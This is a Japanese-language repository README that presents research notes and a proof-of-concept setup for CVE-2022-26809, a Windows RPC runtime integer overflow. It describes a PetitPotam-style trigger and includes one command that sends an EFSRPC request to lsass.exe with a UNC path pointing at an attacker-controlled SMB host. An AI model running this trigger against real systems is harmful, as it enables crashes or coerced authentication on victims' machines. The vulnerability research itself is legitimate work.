
CVE-2022-26809(Windows RPCランタイムの整数オーバーフローの脆弱性)のPoCおよび分析。PetitPotamスタイルのUNCパスリレーを使用したトリガースクリプトを含み、ESFRPCリクエストを介してlsass.exeを悪用します。
このリポジトリは単にCVEの調査を行うものです。詳細な分析についてはこちらを参照してください。
更新: 05/19 2022
この分析はまだ完了していません....
更新: 05/22 2022
HuanGMz氏の投稿とcorelightのブログから、実際の脆弱性箇所が示されています:
OSF_CASSOCIATION::ProcessBindAckOrNak

この脆弱性はCVE-2021-43893と同様に、UNCパスを付けてlsass.exeにESFRPCリクエストを送信すると、被害者がクライアントとしてターゲットにアクセスしようとするため、クライアントAPIで整数オーバーフローが発生します。
この脆弱性をトリガーするためのより良い解決策があれば、遠慮なくIssueまたはPRを送信してください :)
この脆弱性はCVE-2021-43893と同様にトリガーされるため、PetitPotamのコードをクローンするだけです。
以下のように環境を準備してください:

fake_smb_server.pyを実行します(Windowsでは445ポートがSystemによって占有されているため、Linux上にサービスをデプロイすることを推奨します)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exeに対してページヒープを有効にしてください(ただし、私はBSoDのトリガーに成功していませんが、windbgによると整数オーバーフローは発生しています)以前の説明
以下はWindows RPCの脆弱性CVE-2022-26809の再現コードであり、https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/helloを参照しています。
{私のPythonのバージョンは3.6.7です}
{GetCoalescedBufferが実際のCVE-2022-26809に関係するかは不明です。そのまま残しています}
poc.pyは脆弱性関数OSF_SCALL::GetCoalescedBufferを試しにトリガーしようとするもので、dword整数オーバーフローが再現するのが非常に難しいため、クラッシュは発生しません。また、rpcrt.pyはPythonパッケージimpacket.dcerpc.v5.rpcrtです。元のファイルと置き換えて脆弱性をトリガーしてください(元のファイルはバックアップしておいてください :) rpcrt.pyには多くのバグがあると思います)。
もし動作しない場合は、Wiresharkがバグの特定に役立つかもしれません。
必要であれば、nmakeを使用して再ビルドしてください。